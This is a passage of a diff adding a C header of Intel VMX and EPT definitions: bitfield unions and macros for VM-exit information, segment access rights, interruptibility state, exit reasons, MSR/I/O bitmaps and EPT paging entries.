VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER_FLAG 0x38000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) + + /** + * [Bits 21:18] General-purpose register. Undefined for register instructions (bit 10 is set) and for memory instructions + * with no index register (bit 10 is clear and bit 22 is set). + */ + uint64_t general_purpose_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_BIT 18 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) + + /** + * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). Undefined for register instructions (bit 10 is set). + */ + uint64_t general_purpose_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) + + /** + * [Bits 26:23] BaseReg (encoded as Reg1 above). Undefined for register instructions (bit 10 is set) and for memory + * instructions with no base register (bit 10 is clear and bit 27 is set). + */ + uint64_t base_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_BIT 23 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_FLAG 0x7800000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER(_) (((_) >> 23) & 0x0F) + + /** + * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). + */ + uint64_t base_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID_BIT 27 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID_FLAG 0x8000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) + + /** + * [Bits 31:28] Reg2 (same encoding as IndexReg above). + */ + uint64_t register_2 : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2_BIT 28 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2_FLAG 0xF0000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2(_) (((_) >> 28) & 0x0F) + uint64_t reserved3 : 32; + }; + + uint64_t flags; +} vmx_vmexit_instruction_info_vmread_vmwrite; + +/** + * @} + */ + + /** + * @brief - The low 16 bits correspond to bits 23:8 of the upper 32 bits of a 64-bit segment descriptor. While bits 19:16 + * of code-segment and data-segment descriptors correspond to the upper 4 bits of the segment limit, the corresponding bits + * (bits 11:8) are reserved in this VMCS field. + * - Bit 16 indicates an unusable segment. Attempts to use such a segment fault except in 64-bit mode. In general, a + * segment register is unusable if it has been loaded with a null selector. + * - Bits 31:17 are reserved + * + * @note There are a few exceptions to this statement. For example, a segment with a non-null selector may be unusable + * following a task switch that fails after its commit point. In contrast, the TR register is usable after processor reset + * despite having a null selector + * @see SEGMENT_DESCRIPTOR_32 + * @see SEGMENT_DESCRIPTOR_64 + * @see XXX_ACCESS_RIGHTS fields of 32_BIT_GUEST_STATE_FIELDS + * @see Vol3C[24.4.2(Guest Non-Register State)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bits 3:0] Segment type. + */ + uint32_t type : 4; +#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE_BIT 0 +#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE_FLAG 0x0F +#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE_MASK 0x0F +#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE(_) (((_) >> 0) & 0x0F) + + /** + * [Bit 4] S - Descriptor type (0 = system; 1 = code or data). + */ + uint32_t descriptor_type : 1; +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_BIT 4 +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_FLAG 0x10 +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_MASK 0x01 +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE(_) (((_) >> 4) & 0x01) + + /** + * [Bits 6:5] DPL - Descriptor privilege level. + */ + uint32_t descriptor_privilege_level : 2; +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_BIT 5 +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x60 +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 5) & 0x03) + + /** + * [Bit 7] P - Segment present. + */ + uint32_t present : 1; +#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT_BIT 7 +#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT_FLAG 0x80 +#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT_MASK 0x01 +#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT(_) (((_) >> 7) & 0x01) + uint32_t reserved1 : 4; + + /** + * [Bit 12] AVL - Available for use by system software. + */ + uint32_t available_bit : 1; +#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT_BIT 12 +#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT_FLAG 0x1000 +#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT_MASK 0x01 +#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT(_) (((_) >> 12) & 0x01) + + /** + * [Bit 13] Reserved (except for CS). L - 64-bit mode active (for CS only). + */ + uint32_t long_mode : 1; +#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE_BIT 13 +#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE_FLAG 0x2000 +#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE_MASK 0x01 +#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE(_) (((_) >> 13) & 0x01) + + /** + * [Bit 14] D/B - Default operation size (0 = 16-bit segment; 1 = 32-bit segment). + */ + uint32_t default_big : 1; +#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_BIT 14 +#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_FLAG 0x4000 +#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_MASK 0x01 +#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG(_) (((_) >> 14) & 0x01) + + /** + * [Bit 15] G - Granularity. + */ + uint32_t granularity : 1; +#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY_BIT 15 +#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY_FLAG 0x8000 +#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY_MASK 0x01 +#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY(_) (((_) >> 15) & 0x01) + + /** + * [Bit 16] Segment unusable (0 = usable; 1 = unusable). + */ + uint32_t unusable : 1; +#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE_BIT 16 +#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE_FLAG 0x10000 +#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE_MASK 0x01 +#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE(_) (((_) >> 16) & 0x01) + uint32_t reserved2 : 15; + }; + + uint32_t flags; +} vmx_segment_access_rights; + +/** + * @brief The IA-32 architecture includes features that permit certain events to be blocked for a period of time. This + * field contains information about such blocking + * + * @see INTERRUPTIBILITY_STATE of 32_BIT_GUEST_STATE_FIELDS + * @see Vol3C[24.4.2(Guest Non-Register State)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bit 0] Execution of STI with RFLAGS.IF = 0 blocks maskable interrupts on the instruction boundary following its + * execution.1 Setting this bit indicates that this blocking is in effect. + * + * @see Vol2B[4(STI-Set Interrupt Flag)] + */ + uint32_t blocking_by_sti : 1; +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI_BIT 0 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI_FLAG 0x01 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI_MASK 0x01 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Execution of a MOV to SS or a POP to SS blocks or suppresses certain debug exceptions as well as interrupts + * (maskable and nonmaskable) on the instruction boundary following its execution. Setting this bit indicates that this + * blocking is in effect. This document uses the term "blocking by MOV SS," but it applies equally to POP SS. + * + * @see Vol3A[6.8.3(Masking Exceptions and Interrupts When Switching Stacks)] + */ + uint32_t blocking_by_mov_ss : 1; +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS_BIT 1 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS_FLAG 0x02 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS_MASK 0x01 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] System-management interrupts (SMIs) are disabled while the processor is in system-management mode (SMM). Setting + * this bit indicates that blocking of SMIs is in effect. + * + * @see Vol3C[34.2(System Management Interrupt (SMI))] + */ + uint32_t blocking_by_smi : 1; +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI_BIT 2 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI_FLAG 0x04 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI_MASK 0x01 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Delivery of a non-maskable interrupt (NMI) or a system-management interrupt (SMI) blocks subsequent NMIs until + * the next execution of IRET. Setting this bit indicates that blocking of NMIs is in effect. Clearing this bit does not + * imply that NMIs are not (temporarily) blocked for other reasons. If the "virtual NMIs" VM-execution control is 1, this + * bit does not control the blocking of NMIs. Instead, it refers to "virtual-NMI blocking" (the fact that guest software is + * not ready for an NMI). + * + * @see Vol3C[6.7.1(Handling Multiple NMIs)] + * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] + * @see Vol3C[24.6.1(Pin-Based VM-Execution Controls)] + */ + uint32_t blocking_by_nmi : 1; +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI_BIT 3 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI_FLAG 0x08 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI_MASK 0x01 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] A VM exit saves this bit as 1 to indicate that the VM exit was incident to enclave mode. + */ + uint32_t enclave_interruption : 1; +#define VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION_BIT 4 +#define VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION_FLAG 0x10 +#define VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION_MASK 0x01 +#define VMX_INTERRUPTIBILITY_STATE_ENCLAVE_INTERRUPTION(_) (((_) >> 4) & 0x01) + uint32_t reserved1 : 27; + }; + + uint32_t flags; +} vmx_interruptibility_state; + +typedef enum +{ + /** + * The logical processor is executing instructions normally. + */ + vmx_active = 0x00000000, + + /** + * The logical processor is inactive because it executed the HLT instruction. + */ + vmx_hlt = 0x00000001, + + /** + * The logical processor is inactive because it incurred a triple fault1 or some other serious error. + */ + vmx_shutdown = 0x00000002, + + /** + * The logical processor is inactive because it is waiting for a startup-IPI (SIPI). + */ + vmx_wait_for_sipi = 0x00000003, +} vmx_guest_activity_state; + +/** + * @} + */ + + /** + * @brief Format of Exit Reason + * + * Exit reason (32 bits). This field encodes the reason for the VM exit and has the structure. + * + * @see Vol3C[24.9.1(Basic VM-Exit Information)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bits 15:0] Provides basic information about the cause of the VM exit (if bit 31 is clear) or of the VM-entry failure + * (if bit 31 is set). + */ + uint32_t basic_exit_reason : 16; +#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON_BIT 0 +#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON_FLAG 0xFFFF +#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON_MASK 0xFFFF +#define VMX_VMEXIT_REASON_BASIC_EXIT_REASON(_) (((_) >> 0) & 0xFFFF) + + /** + * [Bit 16] Always cleared to 0. + */ + uint32_t always0 : 1; +#define VMX_VMEXIT_REASON_ALWAYS0_BIT 16 +#define VMX_VMEXIT_REASON_ALWAYS0_FLAG 0x10000 +#define VMX_VMEXIT_REASON_ALWAYS0_MASK 0x01 +#define VMX_VMEXIT_REASON_ALWAYS0(_) (((_) >> 16) & 0x01) + uint32_t reserved1 : 10; +#define VMX_VMEXIT_REASON_RESERVED1_BIT 17 +#define VMX_VMEXIT_REASON_RESERVED1_FLAG 0x7FE0000 +#define VMX_VMEXIT_REASON_RESERVED1_MASK 0x3FF +#define VMX_VMEXIT_REASON_RESERVED1(_) (((_) >> 17) & 0x3FF) + + /** + * [Bit 27] A VM exit saves this bit as 1 to indicate that the VM exit was incident to enclave mode. + */ + uint32_t enclave_mode : 1; +#define VMX_VMEXIT_REASON_ENCLAVE_MODE_BIT 27 +#define VMX_VMEXIT_REASON_ENCLAVE_MODE_FLAG 0x8000000 +#define VMX_VMEXIT_REASON_ENCLAVE_MODE_MASK 0x01 +#define VMX_VMEXIT_REASON_ENCLAVE_MODE(_) (((_) >> 27) & 0x01) + + /** + * [Bit 28] Pending MTF VM exit. + */ + uint32_t pending_mtf_vm_exit : 1; +#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT_BIT 28 +#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT_FLAG 0x10000000 +#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT_MASK 0x01 +#define VMX_VMEXIT_REASON_PENDING_MTF_VM_EXIT(_) (((_) >> 28) & 0x01) + + /** + * [Bit 29] VM exit from VMX root operation. + */ + uint32_t vm_exit_from_vmx_roor : 1; +#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR_BIT 29 +#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR_FLAG 0x20000000 +#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR_MASK 0x01 +#define VMX_VMEXIT_REASON_VM_EXIT_FROM_VMX_ROOR(_) (((_) >> 29) & 0x01) + uint32_t reserved2 : 1; +#define VMX_VMEXIT_REASON_RESERVED2_BIT 30 +#define VMX_VMEXIT_REASON_RESERVED2_FLAG 0x40000000 +#define VMX_VMEXIT_REASON_RESERVED2_MASK 0x01 +#define VMX_VMEXIT_REASON_RESERVED2(_) (((_) >> 30) & 0x01) + + /** + * [Bit 31] VM-entry failure: + * - 0 = true VM exit + * - 1 = VM-entry failure + */ + uint32_t vm_entry_failure : 1; +#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE_BIT 31 +#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE_FLAG 0x80000000 +#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE_MASK 0x01 +#define VMX_VMEXIT_REASON_VM_ENTRY_FAILURE(_) (((_) >> 31) & 0x01) + }; + + uint32_t flags; +} vmx_vmexit_reason; + +typedef struct +{ +#define IO_BITMAP_A_MIN 0x00000000 +#define IO_BITMAP_A_MAX 0x00007FFF +#define IO_BITMAP_B_MIN 0x00008000 +#define IO_BITMAP_B_MAX 0x0000FFFF + uint8_t io_a[4096]; + uint8_t io_b[4096]; +} vmx_io_bitmap; + +typedef struct +{ +#define MSR_ID_LOW_MIN 0x00000000 +#define MSR_ID_LOW_MAX 0x00001FFF +#define MSR_ID_HIGH_MIN 0xC0000000 +#define MSR_ID_HIGH_MAX 0xC0001FFF + uint8_t rdmsr_low[1024]; + uint8_t rdmsr_high[1024]; + uint8_t wrmsr_low[1024]; + uint8_t wrmsr_high[1024]; +} vmx_msr_bitmap; + +/** + * @defgroup ept \ + * The extended page-table mechanism + * + * The extended page-table mechanism (EPT) is a feature that can be used to support the virtualization of physical memory. + * When EPT is in use, certain addresses that would normally be treated as physical addresses (and used to access memory) + * are instead treated as guest-physical addresses. Guest-physical addresses are translated by traversing a set of EPT + * paging structures to produce physical addresses that are used to access memory. + * + * @see Vol3C[28.2(THE EXTENDED PAGE TABLE MECHANISM (EPT))] (reference) + * @{ + */ + /** + * @brief Extended-Page-Table Pointer (EPTP) + * + * The extended-page-table pointer (EPTP) contains the address of the base of EPT PML4 table, as well as other EPT + * configuration information. + * + * @see Vol3C[28.2.2(EPT Translation Mechanism] + * @see Vol3C[24.6.11(Extended-Page-Table Pointer (EPTP)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bits 2:0] EPT paging-structure memory type: + * - 0 = Uncacheable (UC) + * - 6 = Write-back (WB) + * Other values are reserved. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t memory_type : 3; +#define EPT_POINTER_MEMORY_TYPE_BIT 0 +#define EPT_POINTER_MEMORY_TYPE_FLAG 0x07 +#define EPT_POINTER_MEMORY_TYPE_MASK 0x07 +#define EPT_POINTER_MEMORY_TYPE(_) (((_) >> 0) & 0x07) + + /** + * [Bits 5:3] This value is 1 less than the EPT page-walk length. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t page_walk_length : 3; +#define EPT_POINTER_PAGE_WALK_LENGTH_BIT 3 +#define EPT_POINTER_PAGE_WALK_LENGTH_FLAG 0x38 +#define EPT_POINTER_PAGE_WALK_LENGTH_MASK 0x07 +#define EPT_POINTER_PAGE_WALK_LENGTH(_) (((_) >> 3) & 0x07) +#define EPT_PAGE_WALK_LENGTH_4 0x00000003 + + /** + * [Bit 6] Setting this control to 1 enables accessed and dirty flags for EPT. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t enable_access_and_dirty_flags : 1; +#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS_BIT 6 +#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS_FLAG 0x40 +#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS_MASK 0x01 +#define EPT_POINTER_ENABLE_ACCESS_AND_DIRTY_FLAGS(_) (((_) >> 6) & 0x01) + uint64_t reserved1 : 5; + + /** + * [Bits 47:12] Bits N-1:12 of the physical address of the 4-KByte aligned EPT PML4 table. + */ + uint64_t page_frame_number : 36; +#define EPT_POINTER_PAGE_FRAME_NUMBER_BIT 12 +#define EPT_POINTER_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define EPT_POINTER_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define EPT_POINTER_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved2 : 16; + }; + + uint64_t flags; +} ept_pointer; + +/** + * @brief Format of an EPT PML4 Entry (PML4E) that References an EPT Page-Directory-Pointer Table + * + * A 4-KByte naturally aligned EPT PML4 table is located at the physical address specified in bits 51:12 of the + * extended-page-table pointer (EPTP), a VM-execution control field. An EPT PML4 table comprises 512 64-bit entries (EPT + * PML4Es). An EPT PML4E is selected using the physical address defined as follows: + * - Bits 63:52 are all 0. + * - Bits 51:12 are from the EPTP. + * - Bits 11:3 are bits 47:39 of the guest-physical address. + * - Bits 2:0 are all 0. + * Because an EPT PML4E is identified using bits 47:39 of the guest-physical address, it controls access to a 512- GByte + * region of the guest-physical-address space. + * + * @see Vol3C[24.6.11(Extended-Page-Table Pointer (EPTP)] + */ +typedef union +{ + struct + { + /** + * [Bit 0] Read access; indicates whether reads are allowed from the 512-GByte region controlled by this entry. + */ + uint64_t read_access : 1; +#define EPT_PML4_READ_ACCESS_BIT 0 +#define EPT_PML4_READ_ACCESS_FLAG 0x01 +#define EPT_PML4_READ_ACCESS_MASK 0x01 +#define EPT_PML4_READ_ACCESS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Write access; indicates whether writes are allowed from the 512-GByte region controlled by this entry. + */ + uint64_t write_access : 1; +#define EPT_PML4_WRITE_ACCESS_BIT 1 +#define EPT_PML4_WRITE_ACCESS_FLAG 0x02 +#define EPT_PML4_WRITE_ACCESS_MASK 0x01 +#define EPT_PML4_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether + * instruction fetches are allowed from the 512-GByte region controlled by this entry. + * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are + * allowed from supervisor-mode linear addresses in the 512-GByte region controlled by this entry. + */ + uint64_t execute_access : 1; +#define EPT_PML4_EXECUTE_ACCESS_BIT 2 +#define EPT_PML4_EXECUTE_ACCESS_FLAG 0x04 +#define EPT_PML4_EXECUTE_ACCESS_MASK 0x01 +#define EPT_PML4_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + uint64_t reserved1 : 5; + + /** + * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 512-GByte region + * controlled by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t accessed : 1; +#define EPT_PML4_ACCESSED_BIT 8 +#define EPT_PML4_ACCESSED_FLAG 0x100 +#define EPT_PML4_ACCESSED_MASK 0x01 +#define EPT_PML4_ACCESSED(_) (((_) >> 8) & 0x01) + uint64_t reserved2 : 1; + + /** + * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control + * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 512-GByte region + * controlled by this entry. If that control is 0, this bit is ignored. + */ + uint64_t user_mode_execute : 1; +#define EPT_PML4_USER_MODE_EXECUTE_BIT 10 +#define EPT_PML4_USER_MODE_EXECUTE_FLAG 0x400 +#define EPT_PML4_USER_MODE_EXECUTE_MASK 0x01 +#define EPT_PML4_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) + uint64_t reserved3 : 1; + + /** + * [Bits 47:12] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define EPT_PML4_PAGE_FRAME_NUMBER_BIT 12 +#define EPT_PML4_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define EPT_PML4_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define EPT_PML4_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved4 : 16; + }; + + uint64_t flags; +} ept_pml4; + +/** + * @brief Format of an EPT Page-Directory-Pointer-Table Entry (PDPTE) that Maps a 1-GByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Read access; indicates whether reads are allowed from the 1-GByte page referenced by this entry. + */ + uint64_t read_access : 1; +#define EPDPTE_1GB_READ_ACCESS_BIT 0 +#define EPDPTE_1GB_READ_ACCESS_FLAG 0x01 +#define EPDPTE_1GB_READ_ACCESS_MASK 0x01 +#define EPDPTE_1GB_READ_ACCESS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Write access; indicates whether writes are allowed from the 1-GByte page referenced by this entry. + */ + uint64_t write_access : 1; +#define EPDPTE_1GB_WRITE_ACCESS_BIT 1 +#define EPDPTE_1GB_WRITE_ACCESS_FLAG 0x02 +#define EPDPTE_1GB_WRITE_ACCESS_MASK 0x01 +#define EPDPTE_1GB_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether + * instruction fetches are allowed from the 1-GByte page controlled by this entry. + * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are + * allowed from supervisor-mode linear addresses in the 1-GByte page controlled by this entry. + */ + uint64_t execute_access : 1; +#define EPDPTE_1GB_EXECUTE_ACCESS_BIT 2 +#define EPDPTE_1GB_EXECUTE_ACCESS_FLAG 0x04 +#define EPDPTE_1GB_EXECUTE_ACCESS_MASK 0x01 +#define EPDPTE_1GB_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + + /** + * [Bits 5:3] EPT memory type for this 1-GByte page. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t memory_type : 3; +#define EPDPTE_1GB_MEMORY_TYPE_BIT 3 +#define EPDPTE_1GB_MEMORY_TYPE_FLAG 0x38 +#define EPDPTE_1GB_MEMORY_TYPE_MASK 0x07 +#define EPDPTE_1GB_MEMORY_TYPE(_) (((_) >> 3) & 0x07) + + /** + * [Bit 6] Ignore PAT memory type for this 1-GByte page. + * + * @see Vol3C[28.2.6(EPT and memory Typing)] + */ + uint64_t ignore_pat : 1; +#define EPDPTE_1GB_IGNORE_PAT_BIT 6 +#define EPDPTE_1GB_IGNORE_PAT_FLAG 0x40 +#define EPDPTE_1GB_IGNORE_PAT_MASK 0x01 +#define EPDPTE_1GB_IGNORE_PAT(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Must be 1 (otherwise, this entry references an EPT page directory). + */ + uint64_t large_page : 1; +#define EPDPTE_1GB_LARGE_PAGE_BIT 7 +#define EPDPTE_1GB_LARGE_PAGE_FLAG 0x80 +#define EPDPTE_1GB_LARGE_PAGE_MASK 0x01 +#define EPDPTE_1GB_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 1-GByte page + * referenced by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t accessed : 1; +#define EPDPTE_1GB_ACCESSED_BIT 8 +#define EPDPTE_1GB_ACCESSED_FLAG 0x100 +#define EPDPTE_1GB_ACCESSED_MASK 0x01 +#define EPDPTE_1GB_ACCESSED(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] If bit 6 of EPTP is 1, dirty flag for EPT; indicates whether software has written to the 1-GByte page referenced + * by this entry. Ignored if bit 6 of EPTP is 0. + * + * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] + */ + uint64_t dirty : 1; +#define EPDPTE_1GB_DIRTY_BIT 9 +#define EPDPTE_1GB_DIRTY_FLAG 0x200 +#define EPDPTE_1GB_DIRTY_MASK 0x01 +#define EPDPTE_1GB_DIRTY(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control + * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 1-GByte page controlled + * by this entry. If that control is 0, this bit is ignored. + */ + uint64_t user_mode_execute : 1; +#define EPDPTE_1GB_USER_MODE_EXECUTE_BIT 10 +#define EPDPTE_1GB_USER_MODE_EXECUTE_FLAG 0x400 +#define EPDPTE_1GB_USER_MODE_EXECUTE_MASK 0x01 +#define EPDPTE_1GB_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) + uint64_t reserved1 : 19; + + /** + * [Bits 47:30] Physical address of 4-KByte aligned EPT page-directory-pointer table referenced by this entry. + */ + uint64_t page_frame_number : 18; +#define EPDPTE_1GB_PAGE_FRAME_NUMBER_BIT 30 +#define EPDPTE_1GB_PAGE_FRAME_NUMBER_FLAG 0xFFFFC0000000 +#define EPDPTE_1GB_PAGE_FRAME_NUMBER_MASK 0x3FFFF +#define EPDPTE_1GB_PAGE_FRAME_NUMBER(_) (((_) >> 30) & 0x3FFFF) + uint64_t reserved2 : 15; + + /** + * [Bit 63] Suppress \#VE. If the "EPT-violation \#VE" VM-execution control is 1, EPT violations caused by accesses to this + * page are convertible to virtualization exceptions only if this bit is 0. If "EPT-violation \#VE" VMexecution control is + * 0, this bit is ignored. + * + * @see Vol3C[25.5.6.1(Convertible 